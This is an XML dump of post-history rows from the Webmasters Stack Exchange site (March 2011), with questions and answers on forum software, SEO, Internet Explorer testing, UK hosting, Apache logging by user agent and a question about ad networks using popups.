  <row Id="24409" PostHistoryTypeId="2" PostId="10863" RevisionGUID="3991cd81-28c8-450a-be29-45ebfa94e586" CreationDate="2011-03-18T14:01:26.743" UserId="6172" Text="I'm looking for a forum that meets these requirements:&#xD;&#xA;&#xD;&#xA; - Login using Facebook/Twitter/OpenID etc.&#xD;&#xA; - User profiles with reward system&#xD;&#xA; - Voting/thumbs up function&#xD;&#xA; - Categories and tags for sorting threads&#xD;&#xA; - Custom category pages with moderated static header&#xD;&#xA; - Embeddable threads and categories (For example, a whole category or single thread can be integrated into wordpress)&#xD;&#xA; - API to users, discussions etc.&#xD;&#xA;&#xD;&#xA;I've looked at forums like Vanilla, Disqus, OSQA etc, but none seem to match the above &quot;hybrid criteria&quot;. Hosted or self-hosted doesn't matter but I'm really looking for something that can be integrated into an existing CMS to replace comments while at the same time have curated category pages and user profiles.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="24410" PostHistoryTypeId="1" PostId="10863" RevisionGUID="3991cd81-28c8-450a-be29-45ebfa94e586" CreationDate="2011-03-18T14:01:26.743" UserId="6172" Text="Forum that integrates into CMS and has curated category pages with tagged threads" />
  <row Id="24411" PostHistoryTypeId="3" PostId="10863" RevisionGUID="3991cd81-28c8-450a-be29-45ebfa94e586" CreationDate="2011-03-18T14:01:26.743" UserId="6172" Text="&lt;forum&gt;" />
  <row Id="24412" PostHistoryTypeId="6" PostId="10863" RevisionGUID="a9d70fed-f3c4-4ca5-b167-00245845e9dd" CreationDate="2011-03-18T14:02:50.977" UserId="1253" Comment="added &quot;looking-for-a-script&quot; tag" Text="&lt;forum&gt;&lt;looking-for-a-script&gt;" />
  <row Id="24413" PostHistoryTypeId="2" PostId="10864" RevisionGUID="a2e062e2-6ed8-4f5b-9229-d81c234b98dc" CreationDate="2011-03-18T14:24:18.410" UserId="6173" Text="I'm going to have to link to the web site to explain this, http://www.diagram.ly, it's a free service, so I hope this doesn't break advertising rules.&#xD;&#xA;&#xD;&#xA;Basically, it's a one page web application, I don't want to create a web site for it. Some background text loads and if JavaScript is enabled, the web application itself then loads.&#xD;&#xA;&#xD;&#xA;The problem is that Google only seems to be picking up the title of the page and the text on the footer, so the site only appear on Google search for very limited text (based on the title and meta description mostly).&#xD;&#xA;&#xD;&#xA;I was hoping that search engines would pick up on the background text and index that. The text is factual, not keyword stuffed. Yahoo seems to pick up the text, just not Google.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience of how Google would view such a site and where I could put the text for a better result?" />
  <row Id="24414" PostHistoryTypeId="1" PostId="10864" RevisionGUID="a2e062e2-6ed8-4f5b-9229-d81c234b98dc" CreationDate="2011-03-18T14:24:18.410" UserId="6173" Text="How do I get google to see keywords on a one page web application site?" />
  <row Id="24415" PostHistoryTypeId="3" PostId="10864" RevisionGUID="a2e062e2-6ed8-4f5b-9229-d81c234b98dc" CreationDate="2011-03-18T14:24:18.410" UserId="6173" Text="&lt;google&gt;&lt;search-engines&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;google-search&gt;" />
  <row Id="24416" PostHistoryTypeId="6" PostId="10864" RevisionGUID="7c428fc2-309b-4dfb-aa5e-7855cfff704e" CreationDate="2011-03-18T14:28:34.767" UserId="1253" Comment="Removed &quot;google-webmaster-tools google search-engines&quot; tags, added &quot;seo&quot; tag" Text="&lt;seo&gt;&lt;keywords&gt;&lt;google-search&gt;" />
  <row Id="24417" PostHistoryTypeId="25" PostId="10858" RevisionGUID="c791f107-95b5-4110-ac8d-fa2e590b2be0" CreationDate="2011-03-18T14:30:23.713" Comment="http://twitter.com/#!/StackWebmasters/status/48753117570924544" />
  <row Id="24418" PostHistoryTypeId="5" PostId="10864" RevisionGUID="a4288099-5736-4e02-a8d8-db5b2df3cf4c" CreationDate="2011-03-18T14:39:54.380" UserId="6173" Comment="Extra details" Text="I'm going to have to link to the web site to explain this, http://www.diagram.ly, it's a free service, so I hope this doesn't break advertising rules.&#xD;&#xA;&#xD;&#xA;Basically, it's a one page web application, I don't want to create a web site for it. Some background text loads and if JavaScript is enabled, the web application itself then loads.&#xD;&#xA;&#xD;&#xA;The problem is that Google only seems to be picking up the title of the page and the text on the footer, so the site only appear on Google search for very limited text (based on the title and meta description mostly).&#xD;&#xA;&#xD;&#xA;I was hoping that search engines would pick up on the background text and index that. The text is factual, not keyword stuffed. Yahoo seems to pick up the text, just not Google.&#xD;&#xA;&#xD;&#xA;Does anyone have any experience of how Google would view such a site and where I could put the text for a better result?&#xD;&#xA;&#xD;&#xA;**Edit** I should mention that Google Webmaster Tools lists the site keywords as &quot;Component, diagramly, feed, mxgraph, share and twitter&quot;. Basically the footer and little else." />
  <row Id="24419" PostHistoryTypeId="2" PostId="10865" RevisionGUID="fa6d0ba4-7a66-4db1-b522-1bc95312c1e0" CreationDate="2011-03-18T15:11:06.190" UserId="23" Text="Is there any Windows 7 application for that?" />
  <row Id="24420" PostHistoryTypeId="1" PostId="10865" RevisionGUID="fa6d0ba4-7a66-4db1-b522-1bc95312c1e0" CreationDate="2011-03-18T15:11:06.190" UserId="23" Text="I want to test my web site on IE6, IE7, IE8, and IE9" />
  <row Id="24421" PostHistoryTypeId="3" PostId="10865" RevisionGUID="fa6d0ba4-7a66-4db1-b522-1bc95312c1e0" CreationDate="2011-03-18T15:11:06.190" UserId="23" Text="&lt;internet-explorer&gt;&lt;internet-explorer-6&gt;&lt;internet-explorer-7&gt;&lt;internet-explorer-9&gt;&lt;internet-explorer-8&gt;" />
  <row Id="24422" PostHistoryTypeId="2" PostId="10866" RevisionGUID="122ea6ef-0ce2-4b88-80a6-b8a843630155" CreationDate="2011-03-18T15:16:37.533" UserId="1253" Text="[IE Tester][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="24423" PostHistoryTypeId="2" PostId="10867" RevisionGUID="42e65c9d-004c-44f0-92eb-a3ed62c4584c" CreationDate="2011-03-18T15:42:21.650" UserId="6174" Text="Can any suggest a good (ideally) UK based reseller web host. I don't want the cheapest solution. I want a robust, quality one. Needs to run php5 and MySQL.&#xD;&#xA;&#xD;&#xA;I have been considering a managed dedicated server instead of a reseller account so if anyone has good experiences please let me know.&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;Ric" />
  <row Id="24424" PostHistoryTypeId="1" PostId="10867" RevisionGUID="42e65c9d-004c-44f0-92eb-a3ed62c4584c" CreationDate="2011-03-18T15:42:21.650" UserId="6174" Text="I need a quality linux UK based webhost" />
  <row Id="24425" PostHistoryTypeId="3" PostId="10867" RevisionGUID="42e65c9d-004c-44f0-92eb-a3ed62c4584c" CreationDate="2011-03-18T15:42:21.650" UserId="6174" Text="&lt;hosting&gt;&lt;web-hosting&gt;&lt;linux&gt;&lt;dedicated-hosting&gt;&lt;reseller&gt;" />
  <row Id="24426" PostHistoryTypeId="2" PostId="10868" RevisionGUID="557a4b10-d1a0-4c3c-bfd2-37408995f94f" CreationDate="2011-03-18T15:46:15.033" UserId="2044" Text="I would like to know is there any free images/file hosting website which will allow users to upload image to its website using api?&#xD;&#xA;&#xD;&#xA;I tried with imageshack.us its fine only problem with it is that i could not make upload the files under my account in imageshack . URL:   http://www.outsourcingnepal.com/ImageShack/Uploader/ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="24427" PostHistoryTypeId="1" PostId="10868" RevisionGUID="557a4b10-d1a0-4c3c-bfd2-37408995f94f" CreationDate="2011-03-18T15:46:15.033" UserId="2044" Text="Free file/image hosting website with api" />
  <row Id="24428" PostHistoryTypeId="3" PostId="10868" RevisionGUID="557a4b10-d1a0-4c3c-bfd2-37408995f94f" CreationDate="2011-03-18T15:46:15.033" UserId="2044" Text="&lt;web-hosting&gt;&lt;file-manger&gt;&lt;image-hosting&gt;" />
  <row Id="24429" PostHistoryTypeId="5" PostId="10868" RevisionGUID="82394c0d-538f-4fdd-a624-be5674d4e304" CreationDate="2011-03-18T15:48:59.787" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Which image sharing websites supports file uploading dynamically via api](http://webmasters.stackexchange.com/questions/9309/which-image-sharing-websites-supports-file-uploading-dynamically-via-api)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I would like to know is there any free images/file hosting website which will allow users to upload image to its website using api?&#xD;&#xA;&#xD;&#xA;I tried with imageshack.us its fine only problem with it is that i could not make upload the files under my account in imageshack . URL:   http://www.outsourcingnepal.com/ImageShack/Uploader/ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="24430" PostHistoryTypeId="10" PostId="10868" RevisionGUID="f55b8775-cc3b-4cda-887a-8d5ff4b9b07a" CreationDate="2011-03-18T15:48:59.707" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24431" PostHistoryTypeId="5" PostId="10841" RevisionGUID="d8c79804-a430-4c8d-9128-8fb9921e5666" CreationDate="2011-03-18T15:52:04.707" UserId="2285" Comment="added 185 characters in body" Text="Whether clickjacking is an ethically responsible way of earning advertisement revenues is a subjective discussion and should not be discussed here.&#xD;&#xA;&#xD;&#xA;However, it appears that quite a lot of popular sites generate &quot;popups&quot; when you click either of their links or buttons. An example is the Party Poker advertisement (I am sure many of you will have seen this one).&#xD;&#xA;&#xD;&#xA;I wonder though, what kind of advertisement companies allow such techniques? Surely Google Adsense does not? But which do, and are they reliable partners?&#xD;&#xA;&#xD;&#xA;Update: an example of an organization using clickjacking to earn advertisement revenues is The Pirate Bay. When clicking on a torrent link, advertisements of Party Poker will popup." />
  <row Id="24432" PostHistoryTypeId="2" PostId="10869" RevisionGUID="e2425e87-2c0f-4972-a761-7950f5e8a02e" CreationDate="2011-03-18T15:55:17.433" UserId="5041" Text="Try Rackspace http://www.rackspace.co.uk/" />
  <row Id="24433" PostHistoryTypeId="2" PostId="10870" RevisionGUID="5a6c542e-c4d5-440e-8fe3-0ceac5677159" CreationDate="2011-03-18T15:57:44.280" UserId="5739" Text="[EZPZHosting][1]&#xD;&#xA;&#xD;&#xA;PHP: 5.2.15&#xD;&#xA;&#xD;&#xA;MySQL: 5.0.92-community&#xD;&#xA;&#xD;&#xA;Call 0800 862 0331 and ask to speak to Dan (Say Hedley recommended you). &#xD;&#xA;&#xD;&#xA;Quality service, superb support and excellent prices. I have been happy as a pig in muck since moving to these guys. They also offer a free WHMCS licence with their reseller package which is a godsend. &#xD;&#xA;&#xD;&#xA;They were and may still  be running a 25% off and free upgrade to next level offer on one of the Web Hosting forums which I can't remember just now but can hunt for it if you are interested.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezpzhosting.co.uk/" />
  <row Id="24434" PostHistoryTypeId="2" PostId="10871" RevisionGUID="bcd93e41-3088-4ab7-929f-9252c1b7212e" CreationDate="2011-03-18T16:00:45.523" UserId="1429" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhosy.com (server in UK, I'm using this and I can't say I'm unhappy)&#xD;&#xA; - http://www.webhostingbuzz.co.uk (they told me their server in in Amsterdam, I never used their services)" />
  <row Id="24435" PostHistoryTypeId="5" PostId="10870" RevisionGUID="f80f94c3-a08c-46f2-bde8-96e8aa085d45" CreationDate="2011-03-18T16:04:24.600" UserId="5739" Comment="added 308 characters in body" Text="[EZPZHosting][1]&#xD;&#xA;&#xD;&#xA;PHP: 5.2.15&#xD;&#xA;&#xD;&#xA;MySQL: 5.0.92-community&#xD;&#xA;&#xD;&#xA;Call 0800 862 0331 and ask to speak to Dan (Say Hedley recommended you). &#xD;&#xA;&#xD;&#xA;Quality service, superb support (they also offer white label support via *your* WHMCS customer portal so you can offer 24/7 support to your customers) and excellent prices. &#xD;&#xA;&#xD;&#xA;I have been happy as a pig in muck since moving to these guys. They also offer a free WHMCS licence with their reseller package which is a godsend and a huge saving on a lot of the other companies around there. WHMCS allows you to manage your entire billing &amp; invoicing, domain registration, support ticket system and knowledgebase. &#xD;&#xA;&#xD;&#xA;They were and may still  be running a 25% off and free upgrade to next level offer on one of the Web Hosting forums which I can't remember just now but can hunt for it if you are interested?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezpzhosting.co.uk/" />
  <row Id="24436" PostHistoryTypeId="5" PostId="10871" RevisionGUID="569d9587-2e94-42c6-9b13-f227163dafc0" CreationDate="2011-03-18T16:06:19.640" UserId="1429" Comment="added 309 characters in body" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhosy.com (server really in UK, I tried to ping them form UE and I'm using their services. I can't say I'm unhappy, some downtime yes, but I bought the absolute cheapest plan, so it might be that more expensive plans work better.)&#xD;&#xA;&#xD;&#xA; - http://www.webhostingbuzz.co.uk (they told me their server in in Amsterdam, I never used their services, but when I try to ping them from UE the average response time does not seem to be of a server in Amstredam, but more far away like a US server.)" />
  <row Id="24437" PostHistoryTypeId="5" PostId="10870" RevisionGUID="0813424c-89e7-4c9a-8358-5a570a4daa4d" CreationDate="2011-03-18T16:34:33.250" UserId="5739" Comment="Added link to forum for reseller offer" Text="[EZPZHosting][1]&#xD;&#xA;&#xD;&#xA;PHP: 5.2.15&#xD;&#xA;&#xD;&#xA;MySQL: 5.0.92-community&#xD;&#xA;&#xD;&#xA;Call 0800 862 0331 and ask to speak to Dan (Say Hedley recommended you). &#xD;&#xA;&#xD;&#xA;Quality service, superb support (they also offer white label support via *your* WHMCS customer portal so you can offer 24/7 support to your customers) and excellent prices. &#xD;&#xA;&#xD;&#xA;I have been happy as a pig in muck since moving to these guys. They also offer a free WHMCS licence with their reseller package which is a godsend and a huge saving on a lot of the other companies around there. WHMCS allows you to manage your entire billing &amp; invoicing, domain registration, support ticket system and knowledgebase. &#xD;&#xA;&#xD;&#xA;They were and may still  be running a 25% off and free upgrade to next level offer on one of the Web Hosting forums which I can't remember just now but can hunt for it if you are interested?&#xD;&#xA;&#xD;&#xA;**EDIT:** [webhosting.com][2] is where you might still find the offer. You have to create an account first to be able to see the offers section but it is well worth it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ezpzhosting.co.uk/&#xD;&#xA;  [2]: http://www.webhostingtalk.com/" />
  <row Id="24438" PostHistoryTypeId="5" PostId="10871" RevisionGUID="b61014c8-f1d6-4a23-b308-4bda82ee5468" CreationDate="2011-03-18T16:37:39.377" UserId="1429" Comment="edited body; added 1 characters in body" Text="Cloud hosting are very on fashion now, but IMHO I've never been able to understand on their site how much I'm going to spend for a simple hosting plan.&#xD;&#xA;&#xD;&#xA;Some hosters not selling *clouds*, but selling plans with a monthly/yearly price written loud and clear on their websites are:&#xD;&#xA;&#xD;&#xA; - http://www.eukhost.com (server really in UK, I tried to ping them from UE and I'm using their services. I can't say I'm unhappy, some downtimes yes, but I bought the absolute cheapest plan, so it might be that more expensive plans work better.)&#xD;&#xA;&#xD;&#xA; - http://www.webhostingbuzz.co.uk (they told me their server is in Amsterdam, I never used their services, but when I try to ping them from UE the average response time does not seem to be of a server in Amsterdam, but more far away like a US server.)" />
  <row Id="24439" PostHistoryTypeId="2" PostId="10872" RevisionGUID="5da66968-b16a-4452-bcf1-ad2df692cf17" CreationDate="2011-03-18T16:48:55.653" UserId="6072" Text="Like your app, very cool. I do not know that there is much you can do to get a one page web application to rank highly in Google, but Google should be seeing the paragraphs of text that are in the HTML of the page.&#xD;&#xA;&#xD;&#xA;For higher ranking I recommend writing an about page that serves marketing purposes, an in-depth about page that covers the technical side of things, and as many help pages as you can muster. One help page for each key word or phrase that include links to external resources and back to the application should make a real difference in your Google rankings. " />
  <row Id="24440" PostHistoryTypeId="2" PostId="10873" RevisionGUID="5c113012-7574-46a7-8cbd-d2dd95a130bb" CreationDate="2011-03-18T17:12:19.397" UserId="5718" Text="If you really want to earn money by scamming people then the ads currently running on the Pirate Bay appear to come from a company called DSNR Media Group. However, unsurprisingly, it seems that they aren't too hot on actually paying publishers. There's a thread about it here http://forums.digitalpoint.com/showthread.php?t=879088 &#xD;&#xA;&#xD;&#xA;I imagine that if you do actually get paid at all then the commissions will be pathetically low so you'll need to generate the level of traffic that the Pirate Bay gets in order to make it worth bothering with. Unfortunately that will probably be difficult as it's unlikely you'll be listed in Google for very long, if at all. Maybe you should look for a more original idea to make money online. You should be thinking of ways to benefit both users and advertisers as that appears to be the best formula for making money from internet ads." />
  <row Id="24441" PostHistoryTypeId="2" PostId="10874" RevisionGUID="47a99f08-545e-4ded-9b88-da8b8ffde7a3" CreationDate="2011-03-18T17:16:40.153" UserId="5849" Text="One part of the ranking algorithm that Google uses is the number of pages on the site. Sites that are only one or two pages are harder to get ranked. I recommend you add a few more pages to the app. Maybe a how to page. Be sure that these pages are linked to from the html (not inserted by javascript). &#xD;&#xA;&#xD;&#xA;Also, how many backlinks do you have to this page? You will need to get backlinks, especially on a one page site. When you get backlinks, use the anchor text of the backlink for keywords that you want to rank for. " />
  <row Id="24442" PostHistoryTypeId="2" PostId="10875" RevisionGUID="1699c8f0-31a1-4f7b-9628-cae043ebfcc1" CreationDate="2011-03-18T17:18:51.137" UserId="5849" Text="You can also use the browser shots website if you are testing layout. You put in the url and it returns images of your site in a bunch of different browsers. &#xD;&#xA;&#xD;&#xA;http://browsershots.org/" />
  <row Id="24443" PostHistoryTypeId="25" PostId="10865" RevisionGUID="e54cd383-6d06-4b1f-9682-25058475ed79" CreationDate="2011-03-18T17:30:23.823" Comment="http://twitter.com/#!/StackWebmasters/status/48798416628756480" />
  <row Id="24444" PostHistoryTypeId="5" PostId="8044" RevisionGUID="1fe9421a-a6d9-454c-8972-1b94bab09abb" CreationDate="2011-03-18T17:50:33.000" UserId="196" Comment="funny typo" Text="You can always use Google Webmaster Tools to request reindexing of your website.&#xD;&#xA;Resubmit the sitemap and Google will know that it have to check your site soon.&#xD;&#xA;" />
  <row Id="24445" PostHistoryTypeId="24" PostId="8044" RevisionGUID="1fe9421a-a6d9-454c-8972-1b94bab09abb" CreationDate="2011-03-18T17:50:33.000" Comment="Proposed by 196 approved by 1253 edit id of 74" />
  <row Id="24446" PostHistoryTypeId="2" PostId="10876" RevisionGUID="156067fd-edd0-4f78-ad17-d852d123bc2a" CreationDate="2011-03-18T18:00:33.953" UserId="1429" Text="Hitting `F12` on IE8 it should start the Developer Tools that allows you to emulate IE7 (not IE6) using the Browser Mode.&#xD;&#xA;&#xD;&#xA;![IE8 emulates IE7][1]&#xD;&#xA;&#xD;&#xA;I suppose on IE9 you will be able to emulate back at least until IE7, but I'm only supposing because now it irritates me the simple idea to have to buy W7 in order to test this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YZeL2.jpg" />
  <row Id="24447" PostHistoryTypeId="2" PostId="10877" RevisionGUID="c62108a0-fca1-43e5-ba34-7fb42836fd67" CreationDate="2011-03-18T18:33:26.193" UserId="4411" Text="I'd like to update my apache logging so that its destination is based on the user agent string or file type.&#xD;&#xA;&#xD;&#xA;Specifically, I would like to send my googlebot requests to their own log file, and I would like to not log requests for any of my image files.&#xD;&#xA;&#xD;&#xA;My configuration is pretty much stock." />
  <row Id="24448" PostHistoryTypeId="1" PostId="10877" RevisionGUID="c62108a0-fca1-43e5-ba34-7fb42836fd67" CreationDate="2011-03-18T18:33:26.193" UserId="4411" Text="Apache logging based on user agent" />
  <row Id="24449" PostHistoryTypeId="3" PostId="10877" RevisionGUID="c62108a0-fca1-43e5-ba34-7fb42836fd67" CreationDate="2011-03-18T18:33:26.193" UserId="4411" Text="&lt;apache&gt;&lt;logging&gt;&lt;httpd&gt;" />
  <row Id="24450" PostHistoryTypeId="6" PostId="10877" RevisionGUID="50f00e87-5b05-4972-8bd0-78396c906967" CreationDate="2011-03-18T18:35:33.863" UserId="1253" Comment="Removed &quot;httpd&quot; tag" Text="&lt;apache&gt;&lt;logging&gt;" />
  <row Id="24451" PostHistoryTypeId="2" PostId="10878" RevisionGUID="796f0700-c78b-4342-9391-e40a73268e50" CreationDate="2011-03-18T19:03:38.977" UserId="5837" Text="Is it safe to use `&amp;shy;` now? I remember there were problems with this entity, such as rendering it everywhere (instead of only when the web browser decides to split a word), or splitting a word without rendering it." />
  <row Id="24452" PostHistoryTypeId="1" PostId="10878" RevisionGUID="796f0700-c78b-4342-9391-e40a73268e50" CreationDate="2011-03-18T19:03:38.977" UserId="5837" Text="Is &amp;shy; safe now?" />
  <row Id="24453" PostHistoryTypeId="3" PostId="10878" RevisionGUID="796f0700-c78b-4342-9391-e40a73268e50" CreationDate="2011-03-18T19:03:38.977" UserId="5837" Text="&lt;html&gt;" />
  <row Id="24454" PostHistoryTypeId="2" PostId="10879" RevisionGUID="c734c41a-12e1-408c-aa0b-79cb0bdb50da" CreationDate="2011-03-18T19:03:43.923" UserId="6096" Text="Direct from Microsoft for just this purpose:&#xD;&#xA;&#xD;&#xA;[Internet Explorer Application Compatibility VPC Image][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&amp;displaylang=e" />
  <row Id="24455" PostHistoryTypeId="2" PostId="10880" RevisionGUID="6d445b37-2207-4970-8e47-dc6ca250449b" CreationDate="2011-03-18T19:19:44.900" UserId="5718" Text="Try adding something like the following into your VirtualHost config:&#xD;&#xA;&#xD;&#xA;    SetEnvIf User-agent .*Googlebot.* googlebot&#xD;&#xA;    CustomLog /var/log/apache2/access_googlebot.log combined env=googlebot&#xD;&#xA;    CustomLog /var/log/apache2/access.log combined env=!googlebot" />
  <row Id="24456" PostHistoryTypeId="2" PostId="10881" RevisionGUID="013bcb18-fd7b-4d9f-9633-978a264a2ded" CreationDate="2011-03-18T19:40:20.443" UserId="1253" Text="Based on [this article][1] I don't think so. Apparently the browsers all handle it differently and still have issues with it (chrome, opera). The fact that the specs for it are conflicting probably doesn't help any.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cs.tut.fi/~jkorpela/shy.html" />
  <row Id="24457" PostHistoryTypeId="2" PostId="10882" RevisionGUID="c292a889-01f8-44ff-a2f5-be9d5f52d29f" CreationDate="2011-03-18T19:50:14.130" UserId="6173" Text="[Crossbrowsertesting][1] was a site I tried for a while. Pretty good, you get a fresh browser install on a virtual machine you access over VNC. Useful, particularly for more dynamic sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.crossbrowsertesting.com" />
  <row Id="24458" PostHistoryTypeId="2" PostId="10883" RevisionGUID="6ac4dbef-40c9-4e75-a910-321a648ad6f6" CreationDate="2011-03-18T20:23:19.703" UserId="1803" Text="Microsoft also released &quot;[Expression Web 4][1]&quot; which is for the purpose to compare different IE Versions. But you need to pay for it and you need a Windows XP SP3 or any later Win-version.&#xD;&#xA;&#xD;&#xA;[Expression Web 3][2] is available to download for free, but only includes comparisons from IE6, IE7 to IE8. (lacking IE9)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/expression/products/web_overview.aspx&#xD;&#xA;  [2]: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=8e6ac106-525d-45d0-84db-dccff3fae677" />
  <row Id="24459" PostHistoryTypeId="25" PostId="10878" RevisionGUID="900748f8-0661-4514-b91b-d3e59a78f9b2" CreationDate="2011-03-18T20:30:23.840" Comment="http://twitter.com/#!/StackWebmasters/status/48843714893840384" />
  <row Id="24460" PostHistoryTypeId="2" PostId="10884" RevisionGUID="ccc9242d-f5d7-4769-811b-25c5e8659543" CreationDate="2011-03-18T22:31:18.513" UserId="841" Text="Google now views .co as a global domain (gTLD) instead of a country code (ccTLD).&#xD;&#xA;&#xD;&#xA;Content on .co domains should theoretically be able to rank the same, all else being equal, as the same content would on a .com or .net (or .tv or .fm - also former country codes).&#xD;&#xA;&#xD;&#xA;Second level domains such has .com.co .net.co .edu.co and others have been setup to serve as Columbia specific domains. For example, Google's Columbia search page is at [http://www.google.com.co][1]&#xD;&#xA;&#xD;&#xA;More info is available here: [http://www.pcpro.co.uk/news/359704/google-approves-co-domain-for-international-use][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com.co&#xD;&#xA;  [2]: http://www.pcpro.co.uk/news/359704/google-approves-co-domain-for-international-use" />
  <row Id="24461" PostHistoryTypeId="25" PostId="10877" RevisionGUID="a915f61b-cac0-410d-9dbb-1e1ca2dedbc4" CreationDate="2011-03-18T23:30:24.230" Comment="http://twitter.com/#!/StackWebmasters/status/48889014941528064" />
  <row Id="24465" PostHistoryTypeId="2" PostId="10886" RevisionGUID="74f49833-51a9-4883-ae47-6b86aa4949ad" CreationDate="2011-03-19T02:00:34.163" UserId="6181" Text="I am looking to create a commercial or business trading discussion board. I plan to get a forum software to install to my hosting.&#xD;&#xA;&#xD;&#xA;1. My main concern is the security, as I need to ensure the discussion info is shared safely among the board members only, not lack to outsiders. &#xD;&#xA;2. Cost whether Free/Paid is fine with me.&#xD;&#xA;3. Feature: Account management, Theme of forum is customizable&#xD;&#xA;&#xD;&#xA;On my mind, I have phpBB, Simple machines, bbPress but I am not sure which will fill my need. Thus, please advise what forum software will be the best choice and recommended.&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24466" PostHistoryTypeId="1" PostId="10886" RevisionGUID="74f49833-51a9-4883-ae47-6b86aa4949ad" CreationDate="2011-03-19T02:00:34.163" UserId="6181" Text="Any recommended forum software for commercial/busniess discussion" />
  <row Id="24467" PostHistoryTypeId="3" PostId="10886" RevisionGUID="74f49833-51a9-4883-ae47-6b86aa4949ad" CreationDate="2011-03-19T02:00:34.163" UserId="6181" Text="&lt;forum&gt;" />
  <row Id="24468" PostHistoryTypeId="2" PostId="10887" RevisionGUID="c960dd7a-db64-484d-9a36-97a39806fcb7" CreationDate="2011-03-19T02:11:25.050" UserId="576" Text="If you just want to check the design of your web pages on different IE browsers, try [Browsershots][1] or WebPageTest. [WebPageTest][2] is basically a free performance testing tool but if you select the &quot;Visual Comparison&quot; tab from their [home page][3] &amp; submit a URL to test, the site generates expandable thumbnails of &quot;[above the fold][4]&quot; view of your web page and optionally a video of that webpage while it was loading. [WebPagetest][5] is an open source tool that you can install locally &amp; run your own instance. WebPagetest lets you test in IE versions 6 to 9.&#xD;&#xA;&#xD;&#xA;If you want to manually test the navigation &amp; features of your site and not just the design &amp; layout, install the freely available [Virtual PC images of IE 6, 7, 8][6] on your Win 7 PC. [Tools like IETester may not be completely reliable][7].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://browsershots.org/&#xD;&#xA;  [2]: http://www.webpagetest.org/&#xD;&#xA;  [3]: http://www.webpagetest.org&#xD;&#xA;  [4]: http://www.motive.co.nz/glossary/fold.php&#xD;&#xA;  [5]: http://www.webpagetest.org/about&#xD;&#xA;  [6]: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&amp;displaylang=e&#xD;&#xA;  [7]: http://blogs.msdn.com/petel/archive/2009/04/27/running-multiple-versions-of-ie-on-the-same-box.aspx" />
  <row Id="24469" PostHistoryTypeId="6" PostId="10886" RevisionGUID="85b2f350-c62d-4089-943a-17910b2b8c81" CreationDate="2011-03-19T02:22:52.910" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;forum&gt;&lt;looking-for-a-script&gt;" />
  <row Id="24470" PostHistoryTypeId="25" PostId="10886" RevisionGUID="a39158af-0c05-4190-bebd-961523233777" CreationDate="2011-03-19T02:30:25.137" Comment="http://twitter.com/#!/StackWebmasters/status/48934317598060544" />
  <row Id="24471" PostHistoryTypeId="2" PostId="10888" RevisionGUID="e912ac34-06c7-464a-878a-461c0c36d22d" CreationDate="2011-03-19T05:03:30.870" UserId="6182" Text="I have godaddy deluxe plan and here is my problem:&#xD;&#xA;&#xD;&#xA;I have two domains for example: e1.com and e2.com. Both are hosted in same hosting plan. First I created a folder for each domain in the root folder and uploaded two web site but when I'm trying to run my sites, the URL for e1 always shows `http://e1.com/e1/` and for e2 it shows `http://e2.com/e2`. Can I avoid showing e1 and e2 folder and only show `http://e1.com` and `http://e2.com`?&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;" />
  <row Id="24472" PostHistoryTypeId="1" PostId="10888" RevisionGUID="e912ac34-06c7-464a-878a-461c0c36d22d" CreationDate="2011-03-19T05:03:30.870" UserId="6182" Text="Godaddy multiple domain problem" />
  <row Id="24473" PostHistoryTypeId="3" PostId="10888" RevisionGUID="e912ac34-06c7-464a-878a-461c0c36d22d" CreationDate="2011-03-19T05:03:30.870" UserId="6182" Text="&lt;web-hosting&gt;&lt;godaddy&gt;" />
  <row Id="24474" PostHistoryTypeId="25" PostId="10888" RevisionGUID="c1aaeb58-809c-4ffd-8cc7-d0933bbcd583" CreationDate="2011-03-19T05:30:24.523" Comment="http://twitter.com/#!/StackWebmasters/status/48979613321408512" />
  <row Id="24476" PostHistoryTypeId="25" PostId="10864" RevisionGUID="ce203563-2f9f-4a34-b882-588b4f0f9762" CreationDate="2011-03-19T08:30:24.960" Comment="http://twitter.com/#!/StackWebmasters/status/49024913746575360" />
